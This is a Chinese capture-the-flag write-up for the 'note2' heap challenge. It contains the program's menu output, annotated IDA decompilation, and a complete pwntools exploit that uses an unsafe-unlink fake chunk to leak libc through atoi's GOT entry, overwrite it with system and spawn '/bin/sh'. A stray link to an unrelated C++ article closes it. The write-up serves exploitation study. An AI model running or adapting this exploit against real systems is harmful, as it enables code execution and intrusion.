Input your name:
admin
Input your address:
0x00400000
1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit# New note
option--->>1
Input the length of the note content:(less than 128)10
Input the note content:
1234567890
note add success, the id is 0# Show note
option--->>2
Input the id of the note:
0
Content is 123456789# Edit note
option--->>3
Input the id of the note:
0do you want to overwrite or append?[1.overwrite/2.append]1
TheNewContents:123
Edit note success!# Delete note
option--->>4
Input the id of the note:
0
delete note success!
（三）IDA逆向分析
详见note2.i64文件
void __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);alarm(0x3Cu); // 当程序执行到 alarm(60); 这行代码时，会设置一个定时器，1 分钟后发送 SIGALRM 信号给程序puts("Input your name:"); // ".bss" 段是指 "Block Started by Symbol" 段，通常用于声明未初始化的全局或静态变量read_input(name, 64LL, 10); // .bss:00000000006020E0 name db 40h dup(?) ; DATA XREF: main+7C↑oputs("Input your address:");read_input(address, 96LL, 10); // .bss:0000000000602180 address db 60h dup(?) ; DATA XREF: main+9A↑o// 0x10是换行符while ( 1 ){switch ( menu() ){case 1:New_note(); // n快捷键修改函数名 /快捷键添加注释// malloc chunkbreak;case 2:Show_note();break;case 3:Edit_note();break;case 4:Delete_note(); // free chunkbreak;case 5:puts("Bye~");exit(0);case 6:exit(0);default:continue;}}
}
// 改成void类型
void __fastcall New_note()
{unsigned int v0; // eaxunsigned int size; // [rsp+4h] [rbp-Ch]char *malloc_ptr; // [rsp+8h] [rbp-8h]if ( (unsigned int)note_count <= 3 ){puts("Input the length of the note content:(less than 128)");size = get_number();if ( size <= 0x80 ){malloc_ptr = (char *)malloc(size);puts("Input the note content:");read_input(malloc_ptr, size, 10); // 通过read_input溢出覆盖nextchunkstrip_baifenhao(malloc_ptr);ptr[note_count] = malloc_ptr; // 这里应该是数组，将void *ptr改为void *ptr[]sizes[note_count] = size;v0 = note_count++;printf("note add success, the id is %d\n", v0);}else{puts("Too long");}}else{puts("note lists are full");}
}
void __fastcall Show_note()
{int v0; // [rsp+Ch] [rbp-4h]puts("Input the id of the note:");v0 = get_number();if ( v0 >= 0 && v0 <= 3 ){if ( ptr[v0] )printf("Content is %s\n", (const char *)ptr[v0]);}
}
from pwn import*import warnings
warnings.filterwarnings("ignore", category=BytesWarning)# 忽略 BytesWarningio = process("./note2")# io = remote("abc",1234)elf = ELF('./note2')
libc = ELF('./libc-2.23.so')# context.log_level = 'debug'defnew(size,buf):io.sendlineafter("option--->>","1")io.sendlineafter("Input the length of the note content:(less than 128)",str(size))io.sendlineafter("Input the note content:",buf)defshow(id):io.sendlineafter("option--->>","2")io.sendlineafter("Input the id of the note:",str(id))defedit(id,opt,buf):io.sendlineafter("option--->>","3")io.sendlineafter("Input the id of the note:",str(id))io.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]",str(opt))io.sendlineafter("TheNewContents:",buf)defdelete(id):io.sendlineafter("option--->>","4")io.sendlineafter("Input the id of the note:",str(id))io.sendlineafter("name","admin")
io.sendlineafter("address","0x00400000")# gdb.attach(io,"b *0x401030") # pause()ptr =0x602120
fake_prev_size =0
fake_size =0x80+0x20+0x1# P：PREV_INUSE，记录前一个chunk块是否被分配，1表示被分配
fake_fd = ptr -0x18
fake_bk = ptr -0x10
payload = p64(fake_prev_size)+ p64(fake_size)+ p64(fake_fd)+ p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')delete(1)
new(0,b'A'*0x10+ p64(fake_size-1)+ p64(0x90))delete(2)payload =b'A'*0x18+ p64(elf.got['atoi'])
edit(0,1,payload)show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip()+b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']edit(0,1,p64(libc_baseaddr + libc.symbols['system']))io.sendline("/bin/sh")
io.interactive()
![[C++][设计模式][观察者模式]详细讲解](http://pic.xiahunao.cn/[C++][设计模式][观察者模式]详细讲解)
